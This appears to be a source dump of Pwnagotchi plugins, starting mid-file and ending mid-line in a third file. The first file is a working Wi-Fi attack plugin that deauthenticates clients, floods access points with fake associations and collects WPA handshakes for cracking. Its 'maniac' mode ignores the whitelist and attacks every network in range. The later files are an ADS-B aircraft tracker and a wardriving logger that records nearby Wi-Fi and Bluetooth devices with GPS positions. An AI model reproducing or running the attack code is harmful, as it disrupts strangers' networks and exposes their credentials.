with agent._view._lock: 117 | agent._view.set("status", "Probe engaged..." if self.mode == "tactical" else "Maniac mode activated!") 118 | 119 | def _watchdog(self, agent): 120 | """Monitor system and perform dynamic channel hopping.""" 121 | CHECK_INTERVAL = 5 122 | MAX_RETRIES = 1 123 | retry_count = 0 124 | while self._watchdog_thread_running: 125 | if not os.path.exists("/sys/class/net/wlan0mon"): 126 | logging.error("wlan0mon missing! Attempting recovery...") 127 | try: 128 | subprocess.run(["ip", "link", "set", "wlan0mon", "down"], check=True) 129 | subprocess.run(["ip", "link", "set", "wlan0mon", "up"], check=True) 130 | retry_count = 0 131 | except Exception as e: 132 | retry_count += 1 133 | if retry_count >= MAX_RETRIES: 134 | subprocess.run(["systemctl", "restart", "pwnagotchi"]) 135 | break 136 | else: 137 | retry_count = 0 138 | agent.set_channel(self.select_channel()) 139 | time.sleep(CHECK_INTERVAL) 140 | 141 | def select_channel(self): 142 | """ML-inspired channel selection based on success history.""" 143 | if not self.channel_activity: 144 | return random.randint(1, 11) 145 | weights = {ch: (stats["aps"] + stats["clients"]) * (self.success_counts.get(str(ch), 1)) for ch, stats in self.channel_activity.items()} 146 | total_weight = sum(weights.values()) 147 | if total_weight == 0: 148 | return random.randint(1, 11) 149 | pick = random.uniform(0, total_weight) 150 | current = 0 151 | for channel, weight in weights.items(): 152 | current += weight 153 | if current >= pick: 154 | return channel 155 | return list(self.channel_activity.keys())[0] 156 | 157 | def track_recent(self, ap, cl=None): 158 | """Track APs and clients.""" 159 | ap['_track_time'] = time.time() 160 | self.recents[ap['mac'].lower()] = ap 161 | if cl: 162 | cl['_track_time'] = ap['_track_time'] 163 | self.recents[cl['mac'].lower()] = cl 164 | 165 | def ok_to_attack(self, agent, ap): 166 | """Check if safe to attack.""" 167 | if self.mode == "maniac": 168 | return True 169 | return ap.get('hostname', '').lower() not in self.whitelist and ap['mac'].lower() not in self.whitelist 170 | 171 | def attack_target(self, agent, ap, cl, retry_count=0): 172 | """Launch adaptive attack with multiple vectors.""" 173 | ap_mac = ap['mac'].lower() 174 | if self.mode == "tactical": 175 | if ap_mac in self.cooldowns and time.time() < self.cooldowns[ap_mac]: 176 | return 177 | if cl and self.client_scores.get(cl['mac'].lower(), 0) < 50: 178 | return 179 | 180 | if not self.ok_to_attack(agent, ap): 181 | return 182 | 183 | agent.set_channel(ap['channel']) 184 | self.attack_attempts[ap_mac] = self.attack_attempts.get(ap_mac, 0) + 1 185 | logging.info(f"Attacking AP {ap_mac} (client: {cl['mac'] if cl else 'N/A'})") 186 | 187 | if agent._config['personality']['deauth']: 188 | if ap_mac in self.ap_client_groups: 189 | for cl_mac in self.ap_client_groups[ap_mac][:5]: 190 | client_data = self.recents.get(cl_mac) 191 | if client_data: 192 | self.executor.submit(agent.deauth, ap, client_data, self.dynamic_attack_delay(ap, client_data)) 193 | elif cl: 194 | self.executor.submit(agent.deauth, ap, cl, self.dynamic_attack_delay(ap, cl)) 195 | 196 | # Additional attack vector: Fake authentication flood 197 | if random.random() < 0.3: # 30% chance 198 | self.executor.submit(agent.associate, ap, 0.05) 199 | 200 | def dynamic_attack_delay(self, ap, cl): 201 | """Calculate adaptive delay.""" 202 | if self.mode == "maniac": 203 | return 0.05 204 | signal = cl.get('signal', -100) 205 | base_delay = 0.1 if signal >= -60 else 0.2 206 | ap_mac = ap['mac'].lower() 207 | attempts = self.attack_attempts.get(ap_mac, 0) 208 | if attempts > 5: 209 | base_delay *= 0.4 210 | num_clients = self.ap_clients.get(ap_mac, 0) 211 | if num_clients > 3: 212 | base_delay *= 0.8 213 | return base_delay * random.uniform(0.9, 1.1) 214 | 215 | def get_dynamic_max_workers(self): 216 | """Adjust concurrency based on system resources.""" 217 | cpu_usage = psutil.cpu_percent() 218 | mem_usage = psutil.virtual_memory().percent 219 | base_workers = 50 220 | if cpu_usage > 80 or mem_usage > 80: 221 | return max(10, int(base_workers * 0.5)) 222 | elif cpu_usage > 50 or mem_usage > 50: 223 | return int(base_workers * 0.75) 224 | return base_workers 225 | 226 | ### Event Handlers 227 | 228 | def on_bcap_wifi_ap_new(self, agent, event): 229 | """Handle new AP with adaptive attack.""" 230 | ap = event['data'] 231 | ap_mac = ap['mac'].lower() 232 | channel = ap['channel'] 233 | self.channel_activity.setdefault(channel, {"aps": 0, "clients": 0}) 234 | self.channel_activity[channel]["aps"] += 1 235 | self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0) 236 | if self.ok_to_attack(agent, ap): 237 | self.executor.submit(self.attack_target, agent, ap, None) 238 | 239 | def on_bcap_wifi_client_new(self, agent, event): 240 | """Handle new client with enhanced scoring.""" 241 | ap = event['data']['AP'] 242 | cl = event['data']['Client'] 243 | ap_mac = ap['mac'].lower() 244 | cl_mac = cl['mac'].lower() 245 | channel = ap['channel'] 246 | self.channel_activity.setdefault(channel, {"aps": 0, "clients": 0}) 247 | self.channel_activity[channel]["clients"] += 1 248 | self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0) + 1 249 | signal = cl.get('signal', -100) 250 | activity = cl.get('activity', 1) + (self.ap_clients[ap_mac] / 10) # Enhanced scoring 251 | self.client_scores[cl_mac] = (signal + 100) * activity 252 | self.ap_client_groups.setdefault(ap_mac, []).append(cl_mac) 253 | if self.ok_to_attack(agent, ap): 254 | self.executor.submit(self.attack_target, agent, ap, cl) 255 | 256 | def is_handshake_valid(self, filename): 257 | """Validate handshake with quality check.""" 258 | try: 259 | result = subprocess.run(['aircrack-ng', filename], capture_output=True, text=True) 260 | is_valid = "valid handshake" in result.stdout.lower() 261 | frame_count = result.stdout.count("EAPOL") if is_valid else 0 262 | return is_valid and frame_count >= 2 # Quality check 263 | except Exception: 264 | return False 265 | 266 | def on_handshake(self, agent, filename, ap, cl): 267 | """Handle handshake with deduplication and intelligent retry.""" 268 | handshake_hash = hash(f"{ap['mac']}{cl.get('mac', '')}{filename}") 269 | if handshake_hash in self.handshake_db: 270 | logging.info(f"Duplicate handshake for {ap['mac']}. Skipping.") 271 | return 272 | if not self.is_handshake_valid(filename): 273 | logging.info(f"Invalid handshake for {ap['mac']}. Scheduling retry...") 274 | self.failed_handshakes += 1 275 | delay = min(60, 1 * (2 ** min(self.attack_attempts.get(ap['mac'].lower(), 0), 5))) # Exponential backoff 276 | self.retry_queue.put((time.time() + delay, (agent, ap, cl, self.attack_attempts.get(ap['mac'].lower(), 0) + 1))) 277 | return 278 | 279 | ap_mac = ap['mac'].lower() 280 | self.handshake_db.add(handshake_hash) 281 | self.success_counts[ap_mac] = self.success_counts.get(ap_mac, 0) + 1 282 | self.total_handshakes += 1 283 | if self.mode == "tactical": 284 | self.cooldowns[ap_mac] = time.time() + 60 285 | 286 | def on_epoch(self, agent, epoch, epoch_data): 287 | """Clean up and process retries.""" 288 | current_time = time.time() 289 | while not self.retry_queue.empty() and self.retry_queue.queue[0][0] <= current_time: 290 | _, (agent, ap, cl, retry_count) = self.retry_queue.get() 291 | self.executor.submit(self.attack_target, agent, ap, cl, retry_count) 292 | for mac in list(self.recents): 293 | if self.recents[mac]['_track_time'] < (current_time - (self.epoch_duration * 2)): 294 | del self.recents[mac] 295 | for ap_mac in list(self.ap_client_groups): 296 | if ap_mac not in self.recents: 297 | del self.ap_client_groups[ap_mac] 298 | 299 | def on_bcap_wifi_ap_updated(self, agent, event): 300 | """Track updated APs.""" 301 | ap = event['data'] 302 | if self.ok_to_attack(agent, ap): 303 | self.track_recent(ap) 304 | 305 | def on_bcap_wifi_client_updated(self, agent, event): 306 | """Track updated clients with scoring update.""" 307 | ap = event['data']['AP'] 308 | cl = event['data']['Client'] 309 | ap_mac = ap['mac'].lower() 310 | cl_mac = cl['mac'].lower() 311 | self.ap_clients[ap_mac] = self.ap_clients.get(ap_mac, 0) + 1 312 | signal = cl.get('signal', -100) 313 | activity = cl.get('activity', 1) + (self.ap_clients[ap_mac] / 10) 314 | self.client_scores[cl_mac] = (signal + 100) * activity 315 | if self.ok_to_attack(agent, ap): 316 | self.track_recent(ap, cl) 317 | -------------------------------------------------------------------------------- /skyhigh.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | import json 4 | import time 5 | import threading 6 | from datetime import datetime, timedelta 7 | from typing import Dict, Any, Optional, List 8 | import requests 9 | from flask import render_template_string, request, Response 10 | 11 | import pwnagotchi.plugins as plugins 12 | import pwnagotchi.ui.fonts as fonts 13 | from pwnagotchi.ui.components import LabeledValue 14 | from pwnagotchi.ui.view import BLACK 15 | 16 | HTML_TEMPLATE = ''' 17 | 18 | 19 | 20 | 21 | 22 | SkyHigh - Aircraft Map 23 | 24 | 38 | 39 | 40 |

SkyHigh: Aircraft Map

41 |
42 |
43 | Filter: 44 | 45 | 46 | Altitude: 47 | - 48 | 49 | Export CSV 50 | Export KML 51 |
52 | 53 |
54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | {% for a in aircrafts %} 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 83 | 84 | 85 | 86 | {% endfor %} 87 | 88 |
CallsignModelRegLatLonAltTypeSpeedLast Seen
{{a.callsign}}{{a.model}}{{a.registration}}{{a.latitude}}{{a.longitude}}{{a.baro_altitude}} 78 | {% if a.is_military %}Mil{% elif a.is_drone %}Drone 79 | {% elif a.is_helicopter %}Heli{% elif a.is_commercial_jet %}Jet 80 | {% elif a.is_small_plane %}GA{% elif a.is_glider %}Glider 81 | {% else %}Other{% endif %} 82 | {{a.velocity}}{{a.last_seen}}
89 |
90 | 91 | 211 | 212 | 213 | ''' 214 | 215 | class SkyHigh(plugins.Plugin): 216 | __author__ = 'AlienMajik' 217 | __version__ = '1.1.1' 218 | __license__ = 'GPL3' 219 | __description__ = 'Advanced aircraft/ADS-B data plugin with robust type-detection, embedded SVG icons, filtering, export, and caching.' 220 | 221 | METADATA_CACHE_FILE = '/root/handshakes/skyhigh_metadata.json' 222 | 223 | def __init__(self): 224 | self.options = { 225 | 'timer': 60, 226 | 'aircraft_file': '/root/handshakes/skyhigh_aircraft.json', 227 | 'adsb_x_coord': 160, 228 | 'adsb_y_coord': 80, 229 | 'latitude': -66.273334, 230 | 'longitude': 100.984166, 231 | 'radius': 50, 232 | 'prune_minutes': 5, 233 | 'opensky_username': None, 234 | 'opensky_password': None, 235 | 'blocklist': [], 236 | 'allowlist': [], 237 | } 238 | self.last_fetch_time = 0 239 | self.data = {} 240 | self.data_lock = threading.Lock() 241 | self.metadata_cache = {} 242 | self.historical_positions = {} 243 | self.error_message = "" 244 | self.web_ui_last_update = "" 245 | self._stop_event = threading.Event() 246 | self.fetch_thread = None 247 | 248 | def on_loaded(self): 249 | logging.info("[SkyHigh] Plugin loaded.") 250 | os.makedirs(os.path.dirname(self.options['aircraft_file']), exist_ok=True) 251 | os.makedirs(os.path.dirname(self.METADATA_CACHE_FILE), exist_ok=True) 252 | self.load_metadata_cache() 253 | try: 254 | with open(self.options['aircraft_file'], 'r') as f: 255 | self.data = json.load(f) 256 | except Exception: 257 | self.data = {} 258 | self._stop_event.clear() 259 | self.fetch_thread = threading.Thread(target=self._fetch_loop, daemon=True) 260 | self.fetch_thread.start() 261 | 262 | def on_unload(self, ui): 263 | self._stop_event.set() 264 | if ui: 265 | with ui._lock: 266 | ui.remove_element('SkyHigh') 267 | self.save_metadata_cache() 268 | 269 | def on_ui_setup(self, ui): 270 | ui.add_element('SkyHigh', LabeledValue( 271 | color=BLACK, 272 | label='SkyHigh', 273 | value=" ", 274 | position=(self.options["adsb_x_coord"], self.options["adsb_y_coord"]), 275 | label_font=fonts.Small, 276 | text_font=fonts.Small 277 | )) 278 | 279 | def on_ui_update(self, ui): 280 | with self.data_lock: 281 | aircraft_count = len(self.data) 282 | ui.set('SkyHigh', f"{aircraft_count} aircraft (Last: {self.web_ui_last_update}){(' - ERROR: '+self.error_message) if self.error_message else ''}") 283 | 284 | def _fetch_loop(self): 285 | while not self._stop_event.is_set(): 286 | try: 287 | self.fetch_aircraft_data() 288 | self.web_ui_last_update = datetime.now().strftime("%H:%M:%S") 289 | self.error_message = "" 290 | except Exception as e: 291 | self.error_message = str(e) 292 | logging.error(f"[SkyHigh] Background fetch error: {e}") 293 | time.sleep(self.options['timer']) 294 | 295 | def load_metadata_cache(self): 296 | try: 297 | with open(self.METADATA_CACHE_FILE, 'r') as f: 298 | self.metadata_cache = json.load(f) 299 | except Exception: 300 | self.metadata_cache = {} 301 | 302 | def save_metadata_cache(self): 303 | try: 304 | with open(self.METADATA_CACHE_FILE, 'w') as f: 305 | json.dump(self.metadata_cache, f) 306 | except Exception: 307 | pass 308 | 309 | def fetch_aircraft_data(self): 310 | lat, lon, radius = self._get_current_coords() 311 | lat_min, lat_max = lat - (radius / 69), lat + (radius / 69) 312 | lon_min, lon_max = lon - (radius / 69), lon + (radius / 69) 313 | url = f"https://opensky-network.org/api/states/all?lamin={lat_min}&lomin={lon_min}&lamax={lat_max}&lomax={lon_max}" 314 | 315 | headers = {} 316 | if self.options['opensky_username'] and self.options['opensky_password']: 317 | import base64 318 | auth_str = f"{self.options['opensky_username']}:{self.options['opensky_password']}" 319 | auth_encoded = base64.b64encode(auth_str.encode()).decode() 320 | headers['Authorization'] = f'Basic {auth_encoded}' 321 | 322 | try: 323 | response = requests.get(url, headers=headers or None, timeout=15) 324 | if response.status_code == 200: 325 | api_data = response.json() 326 | if not api_data or 'states' not in api_data: 327 | logging.error("[SkyHigh] API response missing 'states' key or is None.") 328 | return "No aircraft data" 329 | logging.info(f"[SkyHigh] Sample Raw API Data: {json.dumps(api_data['states'][:2], indent=2)}") 330 | aircrafts = self._parse_and_store(api_data) 331 | self.prune_old_data() 332 | with self.data_lock: 333 | with open(self.options['aircraft_file'], 'w') as f: 334 | json.dump(self.data, f) 335 | return f"{len(aircrafts)} aircraft detected" 336 | elif response.status_code == 401: 337 | self.error_message = "OpenSky authentication failed." 338 | raise Exception("OpenSky authentication failed (401).") 339 | elif response.status_code == 429: 340 | self.error_message = "OpenSky rate-limited." 341 | raise Exception("OpenSky rate-limited (429).") 342 | else: 343 | raise Exception(f"OpenSky API error: {response.status_code}") 344 | except Exception as e: 345 | self.error_message = str(e) 346 | raise 347 | 348 | def _parse_and_store(self, api_data: Dict[str, Any]) -> List[Dict]: 349 | aircrafts = [] 350 | blocklist = set(self.options.get('blocklist', [])) 351 | allowlist = set(self.options.get('allowlist', [])) 352 | if 'states' in api_data and api_data['states']: 353 | for state in api_data['states']: 354 | icao24 = state[0] 355 | if blocklist and icao24 in blocklist: continue 356 | if allowlist and icao24 not in allowlist: continue 357 | callsign = state[1].strip() if state[1] else "Unknown" 358 | lat = state[6] if state[6] is not None else 'N/A' 359 | lon = state[5] if state[5] is not None else 'N/A' 360 | baro_altitude = state[7] if state[7] is not None else 'N/A' 361 | velocity = state[9] if state[9] is not None else 'N/A' 362 | timestamp = state[4] if state[4] is not None else int(time.time()) 363 | with self.data_lock: 364 | if lat != 'N/A' and lon != 'N/A': 365 | pos = {'timestamp': timestamp, 'latitude': lat, 'longitude': lon, 'baro_altitude': baro_altitude} 366 | self.historical_positions.setdefault(icao24, []).append(pos) 367 | self.historical_positions[icao24] = self.historical_positions[icao24][-10:] 368 | meta = self.get_aircraft_metadata(icao24) 369 | info = { 370 | **meta, 371 | 'callsign': callsign, 372 | 'latitude': lat, 373 | 'longitude': lon, 374 | 'baro_altitude': baro_altitude, 375 | 'velocity': velocity, 376 | 'last_seen': datetime.now().strftime('%Y-%m-%d %H:%M:%S'), 377 | 'icao24': icao24 378 | } 379 | self.data[icao24] = info 380 | aircrafts.append(info) 381 | return aircrafts 382 | 383 | def get_aircraft_metadata(self, icao24: str) -> Dict: 384 | if icao24 in self.metadata_cache: 385 | return self.metadata_cache[icao24] 386 | url = f"https://opensky-network.org/api/metadata/aircraft/icao/{icao24}" 387 | headers = {} 388 | try: 389 | if self.options['opensky_username'] and self.options['opensky_password']: 390 | import base64 391 | auth_str = f"{self.options['opensky_username']}:{self.options['opensky_password']}" 392 | auth_encoded = base64.b64encode(auth_str.encode()).decode() 393 | headers['Authorization'] = f'Basic {auth_encoded}' 394 | r = requests.get(url, headers=headers, timeout=10) 395 | if r.status_code == 401: 396 | logging.warning("[SkyHigh] OpenSky credentials invalid. Attempting anonymous metadata fetch.") 397 | r = requests.get(url, timeout=10) 398 | else: 399 | logging.warning("[SkyHigh] No OpenSky credentials. Attempting anonymous metadata fetch.") 400 | r = requests.get(url, timeout=10) 401 | if r.status_code == 200: 402 | d = r.json() 403 | manufacturer = d.get('manufacturerName', '') or '' 404 | model = d.get('model', 'Unknown') or 'Unknown' 405 | registration = d.get('registration', 'Unknown') or 'Unknown' 406 | db_flags = ', '.join([f.lower() for f in d.get('special_flags', []) if isinstance(f, str)]) 407 | typecode = d.get('typecode', '') or '' 408 | 409 | logging.info(f"[SkyHigh] Metadata for {icao24}: Manufacturer={manufacturer}, Model={model}, Typecode={typecode}") 410 | 411 | manufacturer_lower = manufacturer.lower() 412 | model_lower = model.lower() 413 | typecode_lower = typecode.lower() 414 | 415 | is_helicopter = ( 416 | 'helicopter' in model_lower or 417 | model_lower.startswith('as') or 418 | model_lower.startswith('ec') 419 | ) 420 | is_commercial_jet = ( 421 | any(j in manufacturer_lower for j in ['airbus', 'boeing', 'embraer', 'bombardier']) or 422 | any(model_lower.startswith(prefix) for prefix in [ 423 | 'a', 'b', 'e', 'crj', 'erj', 424 | '737', '747', '757', '767', '777', '787', '320', '319' 425 | ]) or 426 | any(typecode_lower.startswith(prefix) for prefix in [ 427 | 'a', 'b', 'e', 'crj', 'erj', 428 | '737', '747', '757', '767', '777', '787', '320', '319' 429 | ]) 430 | ) 431 | is_small_plane = ( 432 | any(s in manufacturer_lower for s in ['cessna', 'piper', 'beechcraft', 'cirrus']) or 433 | any(model_lower.startswith(prefix) for prefix in ['c', 'p', 'be', 'sr', 'u']) or 434 | (len(model_lower) <= 4 and model_lower[0] in 'cpu') 435 | ) 436 | is_drone = 'drone' in model_lower or 'uav' in model_lower or 'unmanned' in model_lower 437 | is_glider = 'glider' in model_lower or 'sailplane' in model_lower 438 | is_military = ( 439 | 'military' in db_flags or 440 | 'military' in manufacturer_lower or 441 | 'military' in model_lower 442 | ) 443 | 444 | meta = { 445 | 'model': model, 446 | 'registration': registration, 447 | 'db_flags': db_flags, 448 | 'is_helicopter': is_helicopter, 449 | 'is_commercial_jet': is_commercial_jet, 450 | 'is_small_plane': is_small_plane, 451 | 'is_drone': is_drone, 452 | 'is_glider': is_glider, 453 | 'is_military': is_military 454 | } 455 | 456 | logging.debug(f"[SkyHigh] Aircraft {icao24} type flags: {meta}") 457 | 458 | self.metadata_cache[icao24] = meta 459 | self.save_metadata_cache() 460 | return meta 461 | else: 462 | logging.warning(f"[SkyHigh] Failed to fetch metadata for {icao24}: {r.status_code}") 463 | return { 464 | 'model': 'Unknown', 465 | 'registration': 'Unknown', 466 | 'db_flags': '', 467 | 'is_helicopter': False, 468 | 'is_commercial_jet': False, 469 | 'is_small_plane': True, 470 | 'is_drone': False, 471 | 'is_glider': False, 472 | 'is_military': False 473 | } 474 | except Exception as e: 475 | logging.error(f"[SkyHigh] Exception fetching metadata for {icao24}: {e}") 476 | return { 477 | 'model': 'Unknown', 478 | 'registration': 'Unknown', 479 | 'db_flags': '', 480 | 'is_helicopter': False, 481 | 'is_commercial_jet': False, 482 | 'is_small_plane': True, 483 | 'is_drone': False, 484 | 'is_glider': False, 485 | 'is_military': False 486 | } 487 | 488 | def prune_old_data(self): 489 | prune_minutes = self.options.get('prune_minutes', 5) 490 | now = datetime.now() 491 | cutoff = now - timedelta(minutes=prune_minutes) 492 | remove = [] 493 | with self.data_lock: 494 | for icao24, info in self.data.items(): 495 | try: 496 | last_seen = datetime.strptime(info['last_seen'], '%Y-%m-%d %H:%M:%S') 497 | if last_seen < cutoff: 498 | remove.append(icao24) 499 | except Exception: 500 | continue 501 | for icao24 in remove: 502 | self.data.pop(icao24, None) 503 | self.historical_positions.pop(icao24, None) 504 | 505 | def _get_current_coords(self): 506 | return self.options['latitude'], self.options['longitude'], self.options['radius'] 507 | 508 | def on_webhook(self, path, req): 509 | if req.method == 'GET': 510 | if path == '/' or not path: 511 | with self.data_lock: 512 | aircrafts = list(self.data.values()) 513 | center = [self.options["latitude"], self.options["longitude"]] 514 | logging.debug(f"[SkyHigh] Sending {len(aircrafts)} aircraft to web interface") 515 | return render_template_string(HTML_TEMPLATE, aircrafts=aircrafts, center=center) 516 | elif path.startswith('export/csv'): 517 | return self.export_csv() 518 | elif path.startswith('export/kml'): 519 | return self.export_kml() 520 | return "Not found", 404 521 | 522 | def export_csv(self): 523 | import io 524 | import csv 525 | si = io.StringIO() 526 | cw = csv.writer(si) 527 | cw.writerow(['icao24', 'callsign', 'model', 'registration', 'latitude', 'longitude', 'altitude', 'velocity', 'type', 'last_seen']) 528 | with self.data_lock: 529 | for icao24, ac in self.data.items(): 530 | t = ("Military" if ac.get('is_military') else 531 | "Drone" if ac.get('is_drone') else 532 | "Helicopter" if ac.get('is_helicopter') else 533 | "Jet" if ac.get('is_commercial_jet') else 534 | "GA" if ac.get('is_small_plane') else 535 | "Glider" if ac.get('is_glider') else "Other") 536 | cw.writerow([icao24, ac.get('callsign'), ac.get('model'), ac.get('registration'), 537 | ac.get('latitude'), ac.get('longitude'), ac.get('baro_altitude'), 538 | ac.get('velocity'), t, ac.get('last_seen')]) 539 | return Response(si.getvalue(), mimetype='text/csv', 540 | headers={"Content-Disposition": "attachment;filename=skyhigh_aircraft.csv"}) 541 | 542 | def export_kml(self): 543 | with self.data_lock: 544 | kml = [''] 545 | for ac in self.data.values(): 546 | kml.append(f''' 547 | 548 | {ac.get('callsign', '')} 549 | Model:{ac.get('model', '')} Alt:{ac.get('baro_altitude', '')}m 550 | {ac.get('longitude')},{ac.get('latitude')},0 551 | 552 | ''') 553 | kml.append('') 554 | return Response(''.join(kml), mimetype='application/vnd.google-earth.kml+xml', 555 | headers={"Content-Disposition": "attachment;filename=skyhigh_aircraft.kml"}) 556 | -------------------------------------------------------------------------------- /snoopr.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import sqlite3 3 | import os 4 | from threading import Lock, Thread 5 | from datetime import datetime, timedelta 6 | import time 7 | from math import radians, sin, cos, sqrt, atan2 8 | import subprocess 9 | import pwnagotchi.plugins as plugins 10 | from pwnagotchi.ui.components import LabeledValue 11 | from pwnagotchi.ui.view import BLACK 12 | import pwnagotchi.ui.fonts as fonts 13 | from flask import render_template_string, request, jsonify 14 | 15 | class Database: 16 | def __init__(self, path): 17 | self.__path = path 18 | self.__db_connect() 19 | 20 | def __db_connect(self): 21 | logging.info('[SnoopR] Setting up database connection...') 22 | self.__connection = sqlite3.connect(self.__path, check_same_thread=False) 23 | cursor = self.__connection.cursor() 24 | 25 | cursor.execute(''' 26 | CREATE TABLE IF NOT EXISTS sessions ( 27 | id INTEGER PRIMARY KEY AUTOINCREMENT, 28 | created_at TEXT DEFAULT CURRENT_TIMESTAMP 29 | ) 30 | ''') 31 | cursor.execute(''' 32 | CREATE TABLE IF NOT EXISTS networks ( 33 | id INTEGER PRIMARY KEY AUTOINCREMENT, 34 | mac TEXT NOT NULL UNIQUE, 35 | type TEXT NOT NULL, 36 | name TEXT, 37 | device_type TEXT NOT NULL, 38 | is_snooper INTEGER DEFAULT 0 39 | ) 40 | ''') 41 | cursor.execute(''' 42 | CREATE TABLE IF NOT EXISTS detections ( 43 | id INTEGER PRIMARY KEY AUTOINCREMENT, 44 | session_id INTEGER NOT NULL, 45 | network_id INTEGER NOT NULL, 46 | encryption TEXT, 47 | signal_strength INTEGER, 48 | latitude TEXT, 49 | longitude TEXT, 50 | channel INTEGER, 51 | auth_mode TEXT, 52 | timestamp TEXT DEFAULT CURRENT_TIMESTAMP, 53 | FOREIGN KEY(session_id) REFERENCES sessions(id), 54 | FOREIGN KEY(network_id) REFERENCES networks(id) 55 | ) 56 | ''') 57 | 58 | cursor.execute("PRAGMA table_info(detections)") 59 | columns = [column[1] for column in cursor.fetchall()] 60 | if 'channel' not in columns: 61 | cursor.execute("ALTER TABLE detections ADD COLUMN channel INTEGER") 62 | logging.info('[SnoopR] Added "channel" column to detections table') 63 | if 'auth_mode' not in columns: 64 | cursor.execute("ALTER TABLE detections ADD COLUMN auth_mode TEXT") 65 | logging.info('[SnoopR] Added "auth_mode" column to detections table') 66 | 67 | cursor.close() 68 | self.__connection.commit() 69 | logging.info('[SnoopR] Successfully connected to db') 70 | 71 | def disconnect(self): 72 | self.__connection.commit() 73 | self.__connection.close() 74 | logging.info('[SnoopR] Closed db connection') 75 | 76 | def new_session(self): 77 | cursor = self.__connection.cursor() 78 | cursor.execute('INSERT INTO sessions DEFAULT VALUES') 79 | session_id = cursor.lastrowid 80 | cursor.close() 81 | self.__connection.commit() 82 | return session_id 83 | 84 | def add_detection(self, session_id, mac, type_, name, device_type, encryption, signal_strength, latitude, longitude, channel, auth_mode): 85 | cursor = self.__connection.cursor() 86 | cursor.execute('SELECT id FROM networks WHERE mac = ? AND device_type = ?', (mac, device_type)) 87 | result = cursor.fetchone() 88 | if result: 89 | network_id = result[0] 90 | else: 91 | cursor.execute('INSERT INTO networks (mac, type, name, device_type) VALUES (?, ?, ?, ?)', (mac, type_, name, device_type)) 92 | network_id = cursor.lastrowid 93 | cursor.execute(''' 94 | INSERT INTO detections (session_id, network_id, encryption, signal_strength, latitude, longitude, channel, auth_mode) 95 | VALUES (?, ?, ?, ?, ?, ?, ?, ?) 96 | ''', (session_id, network_id, encryption, signal_strength, latitude, longitude, channel, auth_mode)) 97 | cursor.close() 98 | self.__connection.commit() 99 | return network_id 100 | 101 | def get_all_networks(self, sort_by=None, filter_by=None): 102 | cursor = self.__connection.cursor() 103 | query = ''' 104 | SELECT n.mac, n.type, n.name, n.device_type, MIN(d.timestamp) as first_seen, MIN(d.session_id) as first_session, 105 | MAX(d.timestamp) as last_seen, MAX(d.session_id) as last_session, COUNT(DISTINCT d.session_id) as sessions_count, 106 | d2.latitude, d2.longitude, n.is_snooper 107 | FROM networks n 108 | LEFT JOIN detections d ON n.id = d.network_id 109 | LEFT JOIN detections d2 ON n.id = d2.network_id AND d2.timestamp = ( 110 | SELECT MAX(timestamp) FROM detections WHERE network_id = n.id 111 | ) 112 | WHERE 1=1 113 | ''' 114 | if filter_by == 'snoopers': 115 | query += ' AND n.is_snooper = 1' 116 | elif filter_by == 'bluetooth': 117 | query += ' AND n.device_type = "bluetooth"' 118 | query += ' GROUP BY n.id, n.mac, n.type, n.name, n.device_type' 119 | if sort_by == 'device_type': 120 | query += ' ORDER BY n.device_type' 121 | elif sort_by == 'is_snooper': 122 | query += ' ORDER BY n.is_snooper DESC' 123 | cursor.execute(query) 124 | rows = cursor.fetchall() 125 | networks = [] 126 | for row in rows: 127 | mac, type_, name, device_type, first_seen, first_session, last_seen, last_session, sessions_count, latitude, longitude, is_snooper = row 128 | networks.append({ 129 | 'mac': mac, 130 | 'type': type_, 131 | 'name': name, 132 | 'device_type': device_type, 133 | 'first_seen': first_seen, 134 | 'first_session': first_session, 135 | 'last_seen': last_seen, 136 | 'last_session': last_session, 137 | 'sessions_count': sessions_count, 138 | 'latitude': float(latitude) if latitude and latitude != '-' else None, 139 | 'longitude': float(longitude) if longitude and longitude != '-' else None, 140 | 'is_snooper': bool(is_snooper) 141 | }) 142 | cursor.close() 143 | return networks 144 | 145 | def network_count(self, device_type=None): 146 | cursor = self.__connection.cursor() 147 | if device_type: 148 | cursor.execute('SELECT COUNT(DISTINCT mac) FROM networks WHERE device_type = ?', (device_type,)) 149 | else: 150 | cursor.execute('SELECT COUNT(DISTINCT mac) FROM networks') 151 | count = cursor.fetchone()[0] 152 | cursor.close() 153 | return count 154 | 155 | def snooper_count(self, device_type=None): 156 | cursor = self.__connection.cursor() 157 | if device_type: 158 | cursor.execute('SELECT COUNT(*) FROM networks WHERE is_snooper = 1 AND device_type = ?', (device_type,)) 159 | else: 160 | cursor.execute('SELECT COUNT(*) FROM networks WHERE is_snooper = 1') 161 | count = cursor.fetchone()[0] 162 | cursor.close() 163 | return count 164 | 165 | def update_snooper_status(self, mac, device_type, is_snooper): 166 | cursor = self.__connection.cursor() 167 | cursor.execute('UPDATE networks SET is_snooper = ? WHERE mac = ? AND device_type = ?', (is_snooper, mac, device_type)) 168 | cursor.close() 169 | self.__connection.commit() 170 | 171 | def prune_old_data(self, days): 172 | cursor = self.__connection.cursor() 173 | cutoff_date = (datetime.now() - timedelta(days=days)).strftime('%Y-%m-%d %H:%M:%S') 174 | cursor.execute('DELETE FROM detections WHERE timestamp < ?', (cutoff_date,)) 175 | cursor.close() 176 | self.__connection.commit() 177 | logging.info(f'[SnoopR] Pruned data older than {days} days') 178 | 179 | class SnoopR(plugins.Plugin): 180 | __author__ = 'AlienMajik' 181 | __version__ = '2.0.0' 182 | __license__ = 'GPL3' 183 | __description__ = 'A plugin for wardriving Wi-Fi and Bluetooth networks and detecting snoopers with enhanced functionality.' 184 | 185 | DEFAULT_PATH = '/root/snoopr' 186 | DATABASE_NAME = 'snoopr.db' 187 | 188 | def __init__(self): 189 | self.__db = None 190 | self.ready = False 191 | self.__gps_available = True 192 | self.__lock = Lock() 193 | self.__last_gps = {'latitude': '-', 'longitude': '-', 'altitude': '-'} 194 | self.__session_id = None 195 | self.__bluetooth_enabled = False 196 | self.last_scan_time = 0 197 | self.__whitelist = [] 198 | self.prune_days = 30 199 | 200 | def on_loaded(self): 201 | logging.info('[SnoopR] Plugin loaded.') 202 | self.__path = self.options.get('path', self.DEFAULT_PATH) 203 | self.__ui_enabled = self.options.get('ui', {}).get('enabled', True) 204 | self.__gps_config = {'method': 